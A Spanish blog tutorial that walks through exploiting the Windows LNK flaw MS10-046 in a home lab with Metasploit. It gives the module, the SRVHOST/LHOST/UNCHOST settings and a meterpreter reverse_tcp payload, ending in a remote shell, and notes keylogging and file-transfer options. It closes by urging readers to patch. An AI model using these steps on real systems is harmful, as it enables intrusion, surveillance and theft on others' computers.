Explotando vulnerabilidad LNK de Windows

Hace unos días que salió a la luz una nueva vulnerabilidad (MS10-046) que afectaba a todas las versiones de Windows:

Informábamos hace algunos días de una forma totalmente nueva de ejecutar
código en Windows cuando se inserta un dispositivo extraíble,
independientemente de que se hayan tomado todas las medidas oportunas
conocidas hasta el momento para impedirlo. El fallo se aprovecha a
través de archivos LNK (accesos directos) y supone un duro varapalo para
Microsoft, pues los atacantes han conseguido descubrir la manera de
eludir todas las medidas que se han tomado contra la ejecución
automática en Windows.

Como se comenta en el citado texto, esta vulnerabilidad era explotada mediante dispositivos extraibles USB. No obstante, los chicos de Metasploit han desarrollado un exploit para hacer uso de esta vulnerabilidad de manera remota. Nosotros hemos probado el exploit en nuestras propias máquinas y funciona a las mil maravillas. Vamos a explicar cómo hacer uso de este exploit paso a paso.

Pulsad en «Read more» para ver el artículo al completo.

Lo primero de todo es comprobar si en la máquina que usarás de víctima ya tienes instalado el parche de seguridad que soluciona este problema:

En caso de tener esta actualización de seguridad instalada, debes desinstalarla (deberás reiniciar el equipo).

Ahora, abrimos la consola de Metasploit (en nuestro caso hacemos uso de BackTrack 4).

root@bt:/pentest/exploits/framework3# msfconsole

Una vez entremos en la consola de Metasploit, procedemos a actualizar su base de datos:

msf > msfupdate

Ahora buscamos el exploit que explota esta vulnerabilidad y lo seleccionamos:

msf > use windows/browser/ms10_046_shortcut_icon_dllloader

Veamos los parámetros necesarios para este exploit:

msf exploit(ms10_046_shortcut_icon_dllloader) > info

Comenzamos a configurar el exploit:

msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.0.106
SRVHOST => 192.168.0.106

(Donde 192.168.0.106 debes poner la ip de tu máquina atacante, donde estás corriendo Metasploit). Los demás parámetros los dejamos con el valor que viene por defecto.

A continuación seleccionamos un PAYLOAD, en este caso una consola de meterpreter:

msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Configuramos el PAYLOAD:

msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.0.106
LHOST => 192.168.0.106
msf exploit(ms10_046_shortcut_icon_dllloader) > set LPORT 4444
LPORT => 4444

No olvides poner la IP de tu máquina atacante en lugar de 192.168.0.106

Para especificar una dirección diferente para el recurso compartido agregamos este parámetro en la configuración:

msf exploit(ms10_xxx_windows_shell_lnk_execute) > set UNCHOST 192.168.0.254
UNCHOST => 192.168.0.254

Esto puede ser necesario para explotar la vulnerabilidad en WAN. En este parámetro iría nuestra IP pública. En nuestro caso no hemos hecho este paso puesto que lo estamos probando en nuestra red privada.

Finalmente, ejecutamos el exploit:

msf exploit(ms10_046_shortcut_icon_dllloader) > exploit

Ahora, sólo es necesario que la máquina víctima entre en nuestra dirección:

Cuando la máquina víctima visite la página web con su navegador será redirigido a un recurso compartido en la máquina atacante. Entonces se abrirá el explorador de windows para visualizar los archivos compartidos que contienen el archivo .LNK que produce la ejecución del PAYLOAD .

En la máquina atacante podemos ver que se ha accedido a la URL y que se ha creado la sesión del meterpreter:

Ahora si escribimos sessions podemos ver que se ha creado la sesión:

msf exploit(ms10_046_shortcut_icon_dllloader) > sessions

Para obtener la shell de meterpreter debemos escribir:

msf exploit(ms10_046_shortcut_icon_dllloader) > sessions -i 1

¡Conseguido! Ya tenemos la shell de meterpreter lista para usar. Las opciones que nos da meterpreter son grandísimas (shell, keylogger, captura de pantalla, subida/bajada de ficheros, etc), para ver algunos ejemplos podemos consultar este enlace o escribir «help» en la linea de comandos.

Por ejemplo, para obtener una shell de windows escribid:

meterpreter > shell

Queda demostrada así la gravedad de esta vulnerabilidad. Nuestra recomendación es que instaléis inmediatamente el parche de seguridad en caso de que no lo hayáis hecho ya.

¡No olvidéis volver a instalar el parche en la máquina víctima de prueba!